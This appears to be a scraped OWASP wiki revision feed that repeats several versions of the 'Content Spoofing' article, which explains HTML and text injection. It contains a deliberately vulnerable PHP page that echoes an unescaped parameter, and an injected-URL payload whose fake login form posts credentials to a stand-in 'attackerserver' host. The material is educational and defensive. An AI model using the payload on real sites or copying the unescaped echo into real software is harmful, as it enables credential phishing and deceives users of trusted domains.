Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust. As a side note, this attack is widely misunderstood as a kind of bug that brings no impact.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. Another factor that heightens the risk is by doing SEO injection in a way that search engines crawl and index crafted URLs with falsified messages.<br />
<br />
By doing so, customers could be forced to switch to competitor's products. This could lead to loss of monetary value until rectification is properly done by the victim business. For public traded companies, its shares will be falling down, leading to uncontrolled loss of millions.<br />
<br />
[[File:Fake-text.png|thumb]]<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
* Scammers<br />
<br />
== Content Spoofing vs. Cross-site Scripting ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
Other example:<br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
* Case studies (Spotify, LinkedIn, ..etc): https://twitter.com/ncweaver/status/974802236567007232?s=12<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238698Content Spoofing2018-03-17T13:19:10Z<p>D0ubl3 h3lix: /* Description */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust. As a side note, this attack is widely misunderstood as a kind of bug that brings no impact.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business. Another factor that heightens the risk is by doing SEO injection in a way that search engines crawl and index crafted URLs with falsified messages.<br />
<br />
[[File:Fake-text.png|thumb]]<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
* Scammers<br />
<br />
== Content Spoofing vs. Cross-site Scripting ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
Other example:<br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
* Case studies (Spotify, LinkedIn, ..etc): https://twitter.com/ncweaver/status/974802236567007232?s=12<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238697Content Spoofing2018-03-17T13:16:45Z<p>D0ubl3 h3lix: /* Threat Agents */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business. Another factor that heightens the risk is by doing SEO injection in a way that search engines crawl and index crafted URLs with falsified messages.<br />
<br />
[[File:Fake-text.png|thumb]]<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
* Scammers<br />
<br />
== Content Spoofing vs. Cross-site Scripting ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
Other example:<br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
* Case studies (Spotify, LinkedIn, ..etc): https://twitter.com/ncweaver/status/974802236567007232?s=12<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238696Content Spoofing2018-03-17T13:13:30Z<p>D0ubl3 h3lix: </p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business. Another factor that heightens the risk is by doing SEO injection in a way that search engines crawl and index crafted URLs with falsified messages.<br />
<br />
[[File:Fake-text.png|thumb]]<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
Other example:<br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
* Case studies (Spotify, LinkedIn, ..etc): https://twitter.com/ncweaver/status/974802236567007232?s=12<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=File:Fake-text.png&diff=238695File:Fake-text.png2018-03-17T13:12:24Z<p>D0ubl3 h3lix: </p>
<hr />
<div>SEO Injection via arbitrary text injection in page title</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238694Content Spoofing2018-03-17T13:06:50Z<p>D0ubl3 h3lix: </p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
Other example:<br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
* Case studies (Spotify, LinkedIn, ..etc): https://twitter.com/ncweaver/status/974802236567007232?s=12<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238298Content Spoofing2018-03-03T11:21:41Z<p>D0ubl3 h3lix: /* Text Injection */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
